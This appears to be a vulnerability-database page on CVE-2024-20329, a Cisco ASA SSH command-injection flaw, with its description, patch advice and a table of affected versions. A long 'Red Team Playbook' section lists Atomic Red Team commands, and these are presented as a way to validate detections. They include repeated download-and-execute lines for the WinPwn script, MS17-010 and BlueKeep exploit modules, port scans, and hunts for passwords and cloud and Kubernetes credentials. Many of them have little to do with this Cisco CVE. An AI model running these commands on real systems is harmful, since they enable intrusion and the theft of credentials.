CVE-2024-20329
Overview
This vulnerability is a command injection flaw stemming from insufficient validation of user input within the SSH subsystem of Cisco Adaptive Security Appliance (ASA) Software. Specifically, the remote CLI command execution interface over SSH fails to properly sanitize crafted input, allowing unauthorized command interpretation. The affected component is the SSH command execution handler in ASA Software versions 9.17.1 and its minor revisions.
Vulnerability Description
A vulnerability in the SSH subsystem of Cisco Adaptive Security Appliance (ASA) Software could allow an authenticated, remote attacker to execute operating system commands as root. This vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by submitting crafted input when executing remote CLI commands over SSH. A successful exploit could allow the attacker to execute commands on the underlying operating system with root-level privileges. An attacker with limited user privileges could use this vulnerability to gain complete control over the system.
Impact
An attacker with valid SSH credentials can exploit this vulnerability to execute arbitrary commands with root privileges on the ASA device. This enables full system compromise, including unauthorized configuration changes, data exfiltration, or network disruption. The exploit requires network access to the SSH service and low privilege authentication (PR:L) but no user interaction (UI:N). The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) confirms the high severity and potential for complete system control and confidentiality, integrity, and availability impact.
Solution
Cisco has released patches addressing this vulnerability in ASA Software versions 9.17.1.12 and later. Administrators should apply the updates as detailed in Cisco Security Advisory cisco-sa-asa-ssh-rce-gRAuPEUF available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ssh-rce-gRAuPEUF. No alternative mitigations are documented; prompt patching is recommended to remediate the root cause.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (27)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1.7 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1.7:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1.9 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1.9:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1.10 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1.10:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1.11 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1.11:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1.13 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1.13:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1.15 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1.15:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1.20 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1.20:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1.30 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1.30:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.17.1.33 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.17.1.33:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.1 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.1:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.1.3 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.1.3:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.2 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.2:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.2.5 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.2.5:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.2.7 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.2.7:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.2.8 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.2.8:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.3 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.3:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.3.39 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.3.39:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.3.46 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.3.46:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | 9.18.3.53 |
cpe:2.3:o:cisco:adaptive_security_appliance_software:9.18.3.53:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-6 | Argument Injection |
48%
|
High | High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20329 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ssh-rce-gRAuPEUF |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-xss-M446vbEO |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/viewErp.x?alertId=ERP-75300 |